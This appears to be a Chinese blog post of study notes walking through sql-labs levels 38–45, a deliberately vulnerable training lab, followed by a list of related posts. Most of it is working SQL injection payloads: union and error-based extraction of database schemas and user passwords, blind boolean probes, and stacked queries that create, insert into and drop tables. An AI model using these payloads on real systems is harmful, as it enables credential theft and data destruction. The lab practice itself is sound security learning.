sql-labs闯关38~45:

友善爱国平等诚信民主友善爱国爱国友善平等诚信自由平等友善平等法治诚信民主民主

复习笔记1


内容:

  1. sql-labs第38关(GET请求-堆叠查询注入-字符型)
  2. sql-labs第39关(GET请求-堆叠查询注入-基于数值型)
  3. sql-labs第40关(GET请求-基于盲注-字符型-堆叠)
  4. sql-labs第41关(GET请求-基于盲注-数值型-堆叠)
  5. sql-labs第42关(POST请求-基于错误-字符型-堆叠)
  6. sql-labs第43关(POST请求-基于错误-字符型-堆叠变形)
  7. sql-labs第44关(POST请求-基于错误-字符型-堆叠-盲注)
  8. sql-labs第45关(POST请求-基于错误-字符型-堆叠-盲注)

1.sql-labs第38关


从欢迎界面没有任何提示,先按照老方法先判断闭合点,输入?id=1

输入?id=1 and 1=2,页面没有变化,类型不是数值型

再输入?id=1',出现报错信息,可以判断出闭合点就是',再添加--+,成功闭合

输入?id=-1' union select 1,2,3--+,查看回显位

输入?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+,爆库,爆表

输入?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+,爆库

按照书上的例子,输入?id=1' ;select if(length(database())>5,sleep(5),1))--+,判断数据库长度,结果应该是休眠5秒,但是并没有实现,我不知道什么问题,参考了sqli-labs(38),看了原理,也知道了区别:union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series38 like users--+



这句命令在爆库爆表之后,再执行了一条新建一张表名为series38,格式参照users,输入之后再刷新,重新加载一下后台,不然看不到

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series38 values(1,1,1)--+


爆字段,再插入一条id、username、password为1的记录

?id=-1' union select 1,group_concat(username),group_concat(password) from users;drop table series38--+


爆数据,再将表名为series38删除。事了拂衣去,深藏功与名


2.sql-labs第39关


输入?id=1,看看正常显示的页面

输入?id=1 and 1=2,页面发生改变,说明这是数值型

输入?id=-1 union select 1,2,3--+,查看回显位,既然这几关主打堆叠注入,那就用堆叠注入

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series39 like users--+


爆库,爆表,再新建一张名为series39,格式参照users的数据表

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series39 values(2,2,2)--+


爆字段,再插入一条id、username、password为2的记录

?id=-1 union select 1,group_concat(username),group_concat(password) from users;drop table series39--+


爆数据,再将表名为series39删除


3.sql-labs第40关


输入?id=1

输入?id=1 and 1=2,页面没有变化,类型不是数值型,这就说明要猜闭合点了

首先单引号判断法先上场,输入?id=1',页面发生改变,且没有报错信息,但目前不确定闭合点

先继续添加注释符,尝试闭合输入?id=1'--+还是错误页面,担心这关过滤了注释符,所以又输入?id=1' ;%00,页面还是错误,那我就放心了,百分百确定'不是闭合点

再输入?id=1') ;%00成功闭合,可以确定闭合点是')

union注入


输入?id=-1') union select 1,2,3;%00,查看回显位

?id=-1') union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() ;create table series40 like users ;%00


爆库爆表后,再执行了一条新建一张表名为series40,格式参照users

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';insert into series40 values(3,3,3);%00


爆字段,再插入一条id、username、password为3的记录

?id=-1') union select 1,group_concat(username),group_concat(password) from users;drop table series40 ;%00


爆数据,再将表名为series40删除

盲注-布尔+堆叠

在前期判断闭合点时,页面出现错误也没有报错信息,就可以排除报错注入,要用布尔/时间注入

输入?id=1') and length(database())>5;create table series40 like users ;%00判断库长度,并新建表名为series40,格式参考自表users

输入?id=1') and substr(database(),1,1)>'m';insert into series40 values(4,4,4);%00判断数据库第一个字母,并插入一条id、username、password为4的记录

输入?id=1') and (select count(table_name) from information_schema.tables where table_schema=database())>5 ;insert into series40 values(5,5,5);%00判断数据表张数>5,并插入一条id、username、password为5的记录

输入?id=1') and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 ;insert into series40 values(6,6,6);%00判断第一张数据表的长度>5,并插入一条id、username、password为6的记录

输入?id=1') and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m' ;insert into series40 values(7,7,7);%00判断第一张数据表的第一个字母>m,并插入一条id、username、password为7的记录

输入?id=1') and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 ;insert into series40 values(8,8,8);%00判断字段数>5,并插入一条id、username、password为8的记录

输入?id=1') and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5 ;insert into series40 values(9,9,9);%00判读第一个字段的长度,并插入一条id、username、password为9的记录

输入?id=1') and mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m' ;insert into series40 values(10,10,10);%00判断第一个字段第一个字母,并插入一条id、username、password为10的记录

输入?id=1') and (select count(username) from users)>5 ;insert into series40 values(11,11,11);%00判断username记录>5,并插入一条id、username、password为11的记录

输入?id=1') and length((select username from users limit 0,1))>5 ;insert into series40 values(12,12,12);%00判断username第一条记录长度>5,并插入一条id、username、password为12的记录

输入?id=1') and mid((select username from users limit 0,1),1,1)>'m';drop table series40 ;%00判断第一条记录的第一个字母>m,并将表删除
具体的请参考前面的盲注篇,我累了


4.sql-labs第41关


输入?id=1

输入?id=1 and 1=2,哦豁,我可以跳过猜闭合点这个步骤了

输入?id=-1 union select 1,2,3--+查看回显位,说明可以用union联合查询,若需要请参考上关

输入?id=1 and length(database())>5;create table series41 like users--+判断库长度,并新建表名为series41,格式参考表users

输入?id=1 and substr(database(),1,1)>'m';insert into series41 values(13,13,13)--+判断数据库第一个字母,并插入一条id、username、password为13的记录

输入?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 ;insert into series41 values(14,14,14)--+判断数据表张数>5,并插入一条id、username、password为14的记录

输入?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 ;insert into series41 values(15,15,15)--+判断第一张数据表的长度>5,并插入一条id、username、password为15的记录

输入?id=1 and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m' ;insert into series41 values(16,16,16)--+判断第一张数据表的第一个字母>m,并插入一条id、username、password为16的记录

输入?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 ;insert into series41 values(17,17,17)--+判断字段数>5,并插入一条id、username、password为17的记录

输入?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5 ;insert into series41 values(18,18,18)--+判读第一个字段的长度,并插入一条id、username、password为18的记录

输入?id=1 and mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m' ;insert into series41 values(19,19,19)--+判断第一个字段第一个字母,并插入一条id、username、password为19的记录

输入?id=1 and (select count(username) from users)>5 ;insert into series41 values(20,20,20)--+判断username记录>5,并插入一条id、username、password为20的记录

输入?id=1 and length((select username from users limit 0,1))>5 ;insert into series41 values(21,21,21)--+判断username第一条记录长度>5,并插入一条id、username、password为21的记录

输入?id=1 and mid((select username from users limit 0,1),1,1)>'m';drop table series41 --+判断第一条记录的第一个字母>m,并将表删除
这关我是将上关的代码修改了之后,直接使用的


5.sql-labs第42关

这关的欢迎界面跟24的二次注入很像,经过一系列的点击、输入、尝试,可以发现,这关跟24关差不都,唯一不同的点就在于,新建用户的那个链接,这关的不允许新建用户了,给了句“如果你想要新建用户,那就黑进去吧”,emmm,我倒是想黑,没那能力咋整。整个摸索下来,有两处输入点,一处是欢迎界面文本框,另一处是输入正确的账号密码,有更改密码的界面

先在第一处输入点username和password都输入1,这个界面就表示失败(我的数据库里没有这个账号密码)

username和password都输入1',居然出现了报错信息,难道这关的注入点在首页?
再在username输入1,password输入1',运行,出现报错,说明password的输入值是关键

再在username随便输入,password输入1'#,运行,没有报错信息,成功闭合

password输入1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#爆库
输入1' and extractvalue(1,concat(0x7e,(select database()),0x7e));create table series42 like users#发现报错注入之后不能成功堆叠新建表
怎么看怎么不习惯,百度了一圈,看到了Sqli-labs Less-42 堆叠注入,麻了,天天爆库爆习惯了,这关跟24关一样不需要爆库,只需要操作users数据就好了

输入1';create table series42 like users#成功新建表,然后这关莫名其妙就结束了

我再输入句1';drop table series42#将表删除,省的占位子


6.sql-labs第43关


按照上关的套路,先都输入1',这明晃晃的提示了我这关的闭合点是')

在username输入1,password输入1',出现报错,很好,注入点还是在password处

password输入1')#尝试闭合,没有报错,成功闭合

输入1');create table series43 like users#成功新建表

再输入1');drop table series43#将表删除


7.sql-labs第44关


这关不管输入11'都没有报错信息

在username、password处输入dumb正确账号密码时,页面会跳转

没有报错信息,只能直接加注释符试探,在username处输入dumb'#,password处输入dumb,页面报错

在username处输入dumb,password处输入dumb'#登录成功了,那这关操作步骤就跟42差不多

输入1';create table series44 like users#

输入1';drop table series44#将表删除


8.sql-labs第45关


这关跟上关一样又没有报错信息,又需要用正确账号密码来验证,那么直接在password处输入dumb',很好,页面错误

输入dumb'#还是错误

那再试试dumb')#成功了,这关闭合点就是'),操作类似43

输入1');create table series45 like users#成功新建表

再输入1');drop table series45#将表删除


总结

做这个堆叠的时候,就觉得很陌生,仔细想了半天,当时上课的时候似乎就一听而过,下课也没去闯关,真实演绎了什么叫“上课不认真,做题两行泪”。多做题还是很有好处的,就像44和45一样,我会按照老套路一个点一个点去尝试,会想到跟之前一样用登录成功的界面来判断是否闭合成功,每次写完一篇,就喜欢懒两天,希望在我开学前,把整套关都过一遍

sql-labs闯关38~45相关推荐

  1. SQL注入闯关第二关---第四关

    目录 第二关Less-2:GET - Error based - Intiger based 1.判断注入点类型 2.使用order by猜测字段数,根据第一关,字段数为3: 3.联合查询获取显示位置 ...

  2. glided_sky 镀金的天空 爬虫闯关1-2 4-5 解题思路加代码

    最近发现的一个爬虫练习网站,尝试着做了几道题,发现覆盖面很大,因此来记录分享一下自己的解题思路. http://glidedsky.com/ 第一题和第二题 两道问题都是相似的问题,区别在于一个数据加 ...

  3. SQL注入闯关第一关-Less1

    目录 一.判断注入点类型 1.单引号测试 2.进行验证: 二.确定字段数 三.使用联合查询,确定显示位置 四.确定显示位置后,查询库名 五.查询表名 六.查询列名 七.查询用户名和密码 一.判断注入点 ...

  4. sqli-labs闯关记录(1~65关)

    sql漏洞闯关记录笔记(1~15) 1.基本知识 首先我们先了解SQL注入是什么: SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一,其实就是恶意用户通过在可提交 ...

  5. 安全测试环境搭建及闯关提升过程

    一.OWASP果汁店介绍 OWASP果汁店是OWASP组织提供的官方提升安全技术的示例网站: 源码:https://github.com/bkimminich/juice-shop#docker-co ...

  6. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  7. 一文解析|首个上榜科创板的机器人企业,江苏北人“闯关记”

    来源:机器人大讲堂 摘要:随着上交所公布了科创板首批受理上市申请的企业名单,这九家企业的每一家都被拿到放大镜下细细观察,评头论足.而其中,江苏北人作为登上科创版的首家机器人企业似乎受到的关注最多. 江 ...

  8. 计算机游戏88关,天天象棋88关怎么过 闯关模式第88关图文攻略

    天天象棋88关怎么过?闯关模式第88关图文攻略.天天象棋闯关模式第88关怎么过?天天象棋是一款上线的全新休闲类手游,这是一款玩家对战的象棋游戏,对于广大棋类游戏爱好者来说,绝对是很值得玩一玩的,游戏的 ...

  9. Python 闯关之路一(语法基础)

    原文:https://www.cnblogs.com/wj-1314/p/8403977.html python 闯关之路一(语法基础) 1,什么是编程?为什么要编程? 答:编程是个动词,编程就等于写 ...

最新文章

  1. python中的数据包处理模块scapy调研笔记
  2. 下面为初学者分享一下SQL 数据库学习资料
  3. 设计模式复习-观察者模式
  4. CompletableFuture API用法介绍(二)
  5. 水滴石穿之子页面的滚动条设置 表格的固定高度宽度问题 复制带格式的文本...
  6. 驱动设计ARM(6410)-按键驱动0基础知识点
  7. css3简记,了解一下?
  8. No matching configuration of project :libusb was found.
  9. c罩杯尺码_胸罩的A、B、C、D罩杯的尺码分别是多少?
  10. 路由器概述(作用功能、工作过程、内部组成【RAM、ROM区别】、接口)
  11. 如何使用纯CSS将页面转换为繁体字
  12. skyline三维地图与arcgis二维地图联动
  13. python时间序列因果检验_用python做时间序列预测8:Granger causality test(格兰杰因果检验)...
  14. php上传二进制数据流
  15. grbl控制3轴机械臂 原理 实现 (四) 之GRBL源码修改驱动三轴机械臂
  16. 龙之信条服务器维护,不只是重启!《龙之信条:黑暗觉者》常见问题解决方案...
  17. 串口发送数据,只接收到00的原因之一
  18. 迷宫寻宝(一) 搜索
  19. C语言输出 1到20 的阶乘之和
  20. verdaccio每次下载有时候不会加载taz压缩包原因解决

热门文章

  1. 论文阅读笔记《Learning monocular depth estimation infusing traditional stereo knowledge》
  2. ABAP single 與 up to 1 rows的區別
  3. python的缩进规则是什么意思_Python缩进规则精讲
  4. R3-3200G和R3-2200G的区别
  5. 【MySQL】mac安装mysql并创建连接
  6. 响铃:微信拒绝老好人
  7. 主线1.1FM算法原理详解
  8. python语言开发效率高吗_Python 的开发效率真的比 Java高吗?
  9. 洛谷P1077:摆花【动态规划】
  10. glimpse .net_如何在ASP.Net Core中使用Glimpse